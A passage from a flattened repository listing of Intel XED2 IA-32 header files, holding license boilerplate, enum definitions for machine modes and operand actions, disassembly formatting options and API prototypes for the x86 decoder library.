| /// This converts strings to #xed_flag_enum_t types. 66 | /// @param s A C-string. 67 | /// @return #xed_flag_enum_t 68 | /// @ingroup ENUM 69 | XED_DLL_EXPORT xed_flag_enum_t str2xed_flag_enum_t(const char* s); 70 | /// This converts strings to #xed_flag_enum_t types. 71 | /// @param p An enumeration element of type xed_flag_enum_t. 72 | /// @return string 73 | /// @ingroup ENUM 74 | XED_DLL_EXPORT const char* xed_flag_enum_t2str(const xed_flag_enum_t p); 75 | 76 | /// Returns the last element of the enumeration 77 | /// @return xed_flag_enum_t The last element of the enumeration. 78 | /// @ingroup ENUM 79 | XED_DLL_EXPORT xed_flag_enum_t xed_flag_enum_t_last(void); 80 | #endif 81 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-format-options.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-format-options.h 32 | 33 | 34 | #ifndef _XED_FORMAT_OPTIONS_H_ 35 | # define _XED_FORMAT_OPTIONS_H_ 36 | #include "xed-types.h" 37 | 38 | 39 | /// @name Formatting options 40 | //@{ 41 | 42 | /// Options for the disasembly formatting functions. Set once during 43 | /// initialization by a calling #xed_format_set_options 44 | /// @ingroup PRINT 45 | typedef struct { 46 | /// by default, XED prints the hex address before any symbolic name for 47 | /// branch targets. If set to zero, then XED will not print the hex 48 | /// address before a valid symbolic name. 49 | unsigned int hex_address_before_symbolic_name; 50 | 51 | /// Simple XML output format for the Intel syntax disassembly. 52 | unsigned int xml_a; 53 | /// Include flags in the XML formatting (must also supply xml_a) 54 | unsigned int xml_f; 55 | 56 | /// omit unit scale "*1" 57 | unsigned int omit_unit_scale; 58 | 59 | /// do not sign extend signed immediates 60 | unsigned int no_sign_extend_signed_immediates; 61 | 62 | } xed_format_options_t; 63 | 64 | /// Optionally, customize the disassembly formatting options by passing 65 | /// in a #xed_format_options_t structure. 66 | /// @ingroup PRINT 67 | XED_DLL_EXPORT void 68 | xed_format_set_options(xed_format_options_t format_options); 69 | //@} 70 | 71 | #endif 72 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-gen-table-defs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-gen-table-defs.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_GEN_TABLE_DEFS_H_) 37 | # define _XED_GEN_TABLE_DEFS_H_ 38 | #define XED_ICLASS_NAME_STR_MAX 22 39 | #define XED_MAX_ATTRIBUTE_COUNT 55 40 | #define XED_MAX_INST_TABLE_NODES 3417 41 | #define XED_MAX_OPERAND_TABLE_NODES 920 42 | #define XED_MAX_OPERAND_SEQUENCES 3955 43 | #define XED_MAX_REQUIRED_SIMPLE_FLAGS_ENTRIES 943 44 | #define XED_MAX_REQUIRED_COMPLEX_FLAGS_ENTRIES 53 45 | #define XED_MAX_IFORMS_PER_ICLASS 28 46 | #define XED_MAX_REQUIRED_ATTRIBUTES 112 47 | #define XED_MAX_ACTIONS_PER_SIMPLE_FLAG 20 48 | #define XED_MAX_GLOBAL_FLAG_ACTIONS 4181 49 | #define XED_MAX_CONVERT_PATTERNS 1 50 | #define XED_MAX_DECORATIONS_PER_OPERAND 3 51 | #endif 52 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-immed.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-immed.h 32 | /// 33 | 34 | #ifndef _XED_IMMED_H_ 35 | # define _XED_IMMED_H_ 36 | 37 | #include "xed-types.h" 38 | #include "xed-common-defs.h" 39 | #include "xed-util.h" 40 | 41 | XED_DLL_EXPORT xed_int64_t xed_immed_from_bytes(xed_int8_t* bytes, xed_uint_t n); 42 | /* 43 | Convert an array of bytes representing a Little Endian byte ordering 44 | of a number (11 22 33 44 55.. 88), in to a a 64b SIGNED number. That gets 45 | stored in memory in little endian format of course. 46 | 47 | Input 11 22 33 44 55 66 77 88, 8 48 | Ouptut 0x8877665544332211 (stored in memory as (lsb) 11 22 33 44 55 66 77 88 (msb)) 49 | 50 | Input f0, 1 51 | Output 0xffff_ffff_ffff_fff0 (stored in memory as f0 ff ff ff ff ff ff ff) 52 | 53 | Input f0 00, 2 54 | Output 0x0000_0000_0000_00F0 (stored in memory a f0 00 00 00 00 00 00 00) 55 | 56 | Input 03, 1 57 | Output 0x0000_0000_0000_0030 (stored in memory a 30 00 00 00 00 00 00 00) 58 | */ 59 | 60 | 61 | #endif 62 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-init-pointer-names.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-init-pointer-names.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_INIT_POINTER_NAMES_H_) 37 | # define _XED_INIT_POINTER_NAMES_H_ 38 | #include "xed-internal-header.h" 39 | #define XED_MAX_POINTER_NAMES 33 40 | #endif 41 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-init.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-init.h 32 | /// 33 | 34 | 35 | 36 | 37 | #if !defined(_XED_INIT_H_) 38 | # define _XED_INIT_H_ 39 | 40 | 41 | /// @ingroup INIT 42 | /// This is the call to initialize the XED encode and decode tables. It 43 | /// must be called once before using XED. 44 | void XED_DLL_EXPORT xed_tables_init(void); 45 | 46 | //////////////////////////////////////////////////////////////////////////// 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-isa-set.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-isa-set.h 32 | 33 | 34 | #if !defined(_XED_ISA_SET_H_) 35 | # define _XED_ISA_SET_H_ 36 | 37 | #include "xed-common-hdrs.h" 38 | #include "xed-types.h" 39 | #include "xed-isa-set-enum.h" /* generated */ 40 | #include "xed-chip-enum.h" /* generated */ 41 | 42 | /// @ingroup ISASET 43 | /// return 1 if the isa_set is part included in the specified chip, 0 44 | /// otherwise. 45 | XED_DLL_EXPORT xed_bool_t 46 | xed_isa_set_is_valid_for_chip(xed_isa_set_enum_t isa_set, 47 | xed_chip_enum_t chip); 48 | 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-machine-mode-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-machine-mode-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_MACHINE_MODE_ENUM_H_) 37 | # define _XED_MACHINE_MODE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_MACHINE_MODE_INVALID, 41 | XED_MACHINE_MODE_LONG_64, ///< 64b operating mode 42 | XED_MACHINE_MODE_LONG_COMPAT_32, ///< 32b protected mode 43 | XED_MACHINE_MODE_LONG_COMPAT_16, ///< 16b protected mode 44 | XED_MACHINE_MODE_LEGACY_32, ///< 32b protected mode 45 | XED_MACHINE_MODE_LEGACY_16, ///< 16b protected mode 46 | XED_MACHINE_MODE_REAL_16, ///< 16b real mode 47 | XED_MACHINE_MODE_LAST 48 | } xed_machine_mode_enum_t; 49 | 50 | /// This converts strings to #xed_machine_mode_enum_t types. 51 | /// @param s A C-string. 52 | /// @return #xed_machine_mode_enum_t 53 | /// @ingroup ENUM 54 | XED_DLL_EXPORT xed_machine_mode_enum_t str2xed_machine_mode_enum_t(const char* s); 55 | /// This converts strings to #xed_machine_mode_enum_t types. 56 | /// @param p An enumeration element of type xed_machine_mode_enum_t. 57 | /// @return string 58 | /// @ingroup ENUM 59 | XED_DLL_EXPORT const char* xed_machine_mode_enum_t2str(const xed_machine_mode_enum_t p); 60 | 61 | /// Returns the last element of the enumeration 62 | /// @return xed_machine_mode_enum_t The last element of the enumeration. 63 | /// @ingroup ENUM 64 | XED_DLL_EXPORT xed_machine_mode_enum_t xed_machine_mode_enum_t_last(void); 65 | #endif 66 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-operand-action-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-action-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_ACTION_ENUM_H_) 37 | # define _XED_OPERAND_ACTION_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_ACTION_INVALID, 41 | XED_OPERAND_ACTION_RW, ///< Read and written (must write) 42 | XED_OPERAND_ACTION_R, ///< Read-only 43 | XED_OPERAND_ACTION_W, ///< Write-only (must write) 44 | XED_OPERAND_ACTION_RCW, ///< Read and conditionlly written (may write) 45 | XED_OPERAND_ACTION_CW, ///< Conditionlly written (may write) 46 | XED_OPERAND_ACTION_CRW, ///< Conditionlly read, always written (must write) 47 | XED_OPERAND_ACTION_CR, ///< Conditional read 48 | XED_OPERAND_ACTION_LAST 49 | } xed_operand_action_enum_t; 50 | 51 | /// This converts strings to #xed_operand_action_enum_t types. 52 | /// @param s A C-string. 53 | /// @return #xed_operand_action_enum_t 54 | /// @ingroup ENUM 55 | XED_DLL_EXPORT xed_operand_action_enum_t str2xed_operand_action_enum_t(const char* s); 56 | /// This converts strings to #xed_operand_action_enum_t types. 57 | /// @param p An enumeration element of type xed_operand_action_enum_t. 58 | /// @return string 59 | /// @ingroup ENUM 60 | XED_DLL_EXPORT const char* xed_operand_action_enum_t2str(const xed_operand_action_enum_t p); 61 | 62 | /// Returns the last element of the enumeration 63 | /// @return xed_operand_action_enum_t The last element of the enumeration. 64 | /// @ingroup ENUM 65 | XED_DLL_EXPORT xed_operand_action_enum_t xed_operand_action_enum_t_last(void); 66 | #endif 67 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-operand-action.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-action.h 32 | /// 33 | 34 | #if !defined(_XED_OPERAND_ACTION_H_) 35 | # define _XED_OPERAND_ACTION_H_ 36 | 37 | #include "xed-types.h" 38 | #include "xed-operand-action-enum.h" 39 | 40 | XED_DLL_EXPORT xed_uint_t xed_operand_action_read(const xed_operand_action_enum_t rw); 41 | XED_DLL_EXPORT xed_uint_t xed_operand_action_read_only(const xed_operand_action_enum_t rw); 42 | XED_DLL_EXPORT xed_uint_t xed_operand_action_written(const xed_operand_action_enum_t rw); 43 | XED_DLL_EXPORT xed_uint_t xed_operand_action_written_only(const xed_operand_action_enum_t rw); 44 | XED_DLL_EXPORT xed_uint_t xed_operand_action_read_and_written(const xed_operand_action_enum_t rw); 45 | XED_DLL_EXPORT xed_uint_t xed_operand_action_conditional_read(const xed_operand_action_enum_t rw); 46 | XED_DLL_EXPORT xed_uint_t xed_operand_action_conditional_write(const xed_operand_action_enum_t rw); 47 | 48 | #endif 49 | 50 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-operand-convert-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-convert-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_CONVERT_ENUM_H_) 37 | # define _XED_OPERAND_CONVERT_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_CONVERT_INVALID, 41 | XED_OPERAND_CONVERT_LAST 42 | } xed_operand_convert_enum_t; 43 | 44 | /// This converts strings to #xed_operand_convert_enum_t types. 45 | /// @param s A C-string. 46 | /// @return #xed_operand_convert_enum_t 47 | /// @ingroup ENUM 48 | XED_DLL_EXPORT xed_operand_convert_enum_t str2xed_operand_convert_enum_t(const char* s); 49 | /// This converts strings to #xed_operand_convert_enum_t types. 50 | /// @param p An enumeration element of type xed_operand_convert_enum_t. 51 | /// @return string 52 | /// @ingroup ENUM 53 | XED_DLL_EXPORT const char* xed_operand_convert_enum_t2str(const xed_operand_convert_enum_t p); 54 | 55 | /// Returns the last element of the enumeration 56 | /// @return xed_operand_convert_enum_t The last element of the enumeration. 57 | /// @ingroup ENUM 58 | XED_DLL_EXPORT xed_operand_convert_enum_t xed_operand_convert_enum_t_last(void); 59 | #endif 60 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-operand-ctype-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | 